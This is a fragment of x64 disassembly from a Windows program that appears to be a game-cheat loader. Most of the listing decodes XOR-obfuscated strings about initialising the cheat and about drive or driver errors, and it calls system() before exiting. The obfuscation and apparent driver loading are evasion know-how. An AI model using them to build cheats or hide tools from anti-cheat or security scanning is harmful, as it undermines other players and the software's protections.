movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1829], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x182a], al
lea rax, [rsp + 0x182b]
lea rax, [rsp + 0x182b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3c0], 0
jmp 0x140051302
mov rax, qword [rsp + 0x3c0]
inc rax
mov qword [rsp + 0x3c0], rax
cmp qword [rsp + 0x3c0], 0x2a
jae 0x14005136c
mov rax, qword [rsp + 0x3c0]
lea rax, [rsp + rax + 0x1801]
mov qword [rsp + 0xed8], rax
mov rax, qword [rsp + 0xed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1800]
xor eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x3c0]
lea rax, [rsp + rax + 0x1801]
mov qword [rsp + 0xee0], rax
mov rax, qword [rsp + 0xee0]
mov cl, byte [rsp + 0xcb]
mov byte [rax], cl
jmp 0x1400512ef
mov eax, 0x2a
imul rax, rax, 1
lea rax, [rsp + rax + 0x1801]
mov qword [rsp + 0xee8], rax
mov rax, qword [rsp + 0xee8]
mov byte [rax], 0
lea rax, [rsp + 0x1801]
mov qword [rsp + 0xef0], rax
mov rdx, qword [rsp + 0xef0]
lea rcx, [rsp + 0x1a30]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1a30]
call fcn.140029050
nop
lea rcx, [rsp + 0x1a30]
call fcn.140004e6c
call fcn.14002911c
mov byte [rsp + 0x1758], 0x15
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1759], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175a], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175b], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175c], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175d], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175e], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175f], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1760], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1761], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1762], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1763], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1764], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1765], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1766], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1767], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1768], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1769], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176a], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176b], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176c], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176d], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176e], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176f], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1770], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1771], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1772], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1773], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1774], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1775], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1776], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1777], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1778], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1779], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x177a], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x177b], al
movsx eax, byte [rsp + 0x1758]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.238249f1_95c3_48de_8b04_07dbd12562b6
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x177c], al
lea rax, [rsp + 0x177d]
lea rax, [rsp + 0x177d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3c8], 0
jmp 0x14005199c
mov rax, qword [rsp + 0x3c8]
inc rax
mov qword [rsp + 0x3c8], rax
cmp qword [rsp + 0x3c8], 0x24
jae 0x140051a06
mov rax, qword [rsp + 0x3c8]
lea rax, [rsp + rax + 0x1759]
mov qword [rsp + 0xef8], rax
mov rax, qword [rsp + 0xef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1758]
xor eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x3c8]
lea rax, [rsp + rax + 0x1759]
mov qword [rsp + 0xf00], rax
mov rax, qword [rsp + 0xf00]
mov cl, byte [rsp + 0xcc]
mov byte [rax], cl
jmp 0x140051989
mov eax, 0x24
imul rax, rax, 1
lea rax, [rsp + rax + 0x1759]
mov qword [rsp + 0xf08], rax
mov rax, qword [rsp + 0xf08]
mov byte [rax], 0
lea rax, [rsp + 0x1759]
mov qword [rsp + 0xf10], rax
mov rdx, qword [rsp + 0xf10]
lea rcx, [rsp + 0x1ad0]
call fcn.140004f10
nop
mov byte [rsp + 0xe0], 0
lea rax, [rsp + 0xe1]
mov r8, rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x1068]
call fcn.1400527ac
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1010], xmm0
lea rcx, [rsp + 0x1d2]
call fcn.1400531b8
mov r8, rax
lea rdx, [rsp + 0x1010]
lea rcx, [rsp + 0xf78]
call fcn.140053120
nop
lea rax, [rsp + 0x1358]
mov qword [rsp + 0xf18], rax
lea rax, [rsp + 0x1378]
mov qword [rsp + 0xf28], rax
lea rax, [rsp + 0x1398]
mov qword [rsp + 0xf38], rax
lea rdx, [rsp + 0x1990]
mov rcx, qword [rsp + 0xf18]
call fcn.1400539e0
mov qword [rsp + 0xf20], rax
mov rax, qword [rsp + 0xf20]
mov qword [rsp + 0xf40], rax
lea rdx, [rsp + 0x1ad0]
mov rcx, qword [rsp + 0xf28]
call fcn.1400539e0
mov qword [rsp + 0xf30], rax
mov rax, qword [rsp + 0xf30]
mov qword [rsp + 0xf48], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0xf38]
call fcn.1400539e0
mov qword [rsp + 0xf50], rax
mov r9, qword [rsp + 0xf40]
mov r8, qword [rsp + 0xf48]
mov rdx, qword [rsp + 0xf50]
lea rcx, [rsp + 0x1050]
call fcn.14003c904
mov qword [rsp + 0xf58], rax
mov rdx, qword [rsp + 0xf58]
lea rcx, [rsp + 0xf78]
call fcn.1400530c8
lea rcx, [rsp + 0x1050]
call fcn.1400530b0
lea rcx, [rsp + 0xf78]
call fcn.14007bb68
movzx eax, al
test eax, eax
jne 0x140051f2a
mov byte [rsp + 0x1630], 0x14
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1631], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1632], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1633], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1634], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1635], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1636], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1637], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1638], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1639], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163a], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163b], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163c], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163d], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163e], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163f], al
movsx eax, byte [rsp + 0x1630]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.error:__drive_2r
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1640], al
lea rax, [rsp + 0x1641]
lea rax, [rsp + 0x1641]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3d0], 0
jmp 0x140051e6d
mov rax, qword [rsp + 0x3d0]
inc rax
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0x10
jae 0x140051ed7
mov rax, qword [rsp + 0x3d0]
lea rax, [rsp + rax + 0x1631]
mov qword [rsp + 0xf60], rax
mov rax, qword [rsp + 0xf60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1630]
xor eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x3d0]
lea rax, [rsp + rax + 0x1631]
mov qword [rsp + 0xf68], rax
mov rax, qword [rsp + 0xf68]
mov cl, byte [rsp + 0xcd]
mov byte [rax], cl
jmp 0x140051e5a
mov eax, 0x10
imul rax, rax, 1
lea rax, [rsp + rax + 0x1631]
mov qword [rsp + 0xf70], rax
mov rax, qword [rsp + 0xf70]
mov byte [rax], 0
lea rax, [rsp + 0x1631]
mov qword [rsp + 0x448], rax
mov r8b, 1
xor edx, edx
mov rcx, qword [rsp + 0x448]
call fcn.140028e28
lea rcx, [0x1400d48b4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dl, 1
lea rcx, [rsp + 0xf78]
call fcn.1400161a8
movzx eax, al
test eax, eax
jne 0x1400522b6
mov byte [rsp + 0x1648], 0x7b
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1649], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164a], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164b], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164c], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164d], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164e], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164f], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1650], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1651], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1652], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1653], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1654], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1655], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1656], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1657], al
movsx eax, byte [rsp + 0x1648]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.error:__driver_1
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1658], al
lea rax, [rsp + 0x1659]
lea rax, [rsp + 0x1659]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3d8], 0
jmp 0x1400521f9
mov rax, qword [rsp + 0x3d8]
inc rax
mov qword [rsp + 0x3d8], rax
cmp qword [rsp + 0x3d8], 0x10
jae 0x140052263
mov rax, qword [rsp + 0x3d8]
lea rax, [rsp + rax + 0x1649]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1648]
xor eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x3d8]
lea rax, [rsp + rax + 0x1649]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
mov cl, byte [rsp + 0xce]
mov byte [rax], cl
jmp 0x1400521e6
mov eax, 0x10
imul rax, rax, 1
lea rax, [rsp + rax + 0x1649]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov byte [rax], 0
lea rax, [rsp + 0x1649]
mov qword [rsp + 0x468], rax
mov r8b, 1
xor edx, edx
mov rcx, qword [rsp + 0x468]
call fcn.140028e28
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1608], 0x25
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1609], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160a], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160b], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160c], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160d], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160e], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x160f], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1610], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1611], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1612], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1613], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1614], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1615], al
movsx eax, byte [rsp + 0x1608]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.OK_success_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1616], al
lea rax, [rsp + 0x1617]
lea rax, [rsp + 0x1617]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x1d8], 0
jmp 0x14005251d
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0xe
jae 0x140052587
mov rax, qword [rsp + 0x1d8]
lea rax, [rsp + rax + 0x1609]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1608]
xor eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x1d8]
lea rax, [rsp + rax + 0x1609]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
mov cl, byte [rsp + 0xd3]
mov byte [rax], cl
jmp 0x14005250a
mov eax, 0xe
imul rax, rax, 1
lea rax, [rsp + rax + 0x1609]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x480]
mov byte [rax], 0
lea rax, [rsp + 0x1609]
mov qword [rsp + 0x488], rax
mov rcx, qword [rsp + 0x488]
call fcn.140005fa4
lea rax, [rsp + 0x13b8]
mov qword [rsp + 0x490], rax
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0x4a0], rax
lea rdx, [rsp + 0x1990]
mov rcx, qword [rsp + 0x490]
call fcn.1400539e0
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x4a8], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0x4a0]
call fcn.1400539e0
mov qword [rsp + 0x4b0], rax
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rsp + 0x4b0]
call fcn.14003e888
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rsp + 0xf78]
call fcn.140054258
lea rcx, [rsp + 0x1ad0]
call fcn.140005314
lea rcx, [rsp + 0x1a50]
call fcn.140005314
lea rcx, [rsp + 0x1d90]
call fcn.1400527dc
lea rcx, [rsp + 0x19f0]
call fcn.140004e6c
lea rcx, [rsp + 0x1df0]
call fcn.1400527dc
lea rcx, [rsp + 0x1990]
call fcn.140004e6c
lea rcx, [rsp + 0x1a70]
call fcn.140004e6c
lea rcx, [rsp + 0x1a90]
call fcn.140004e6c
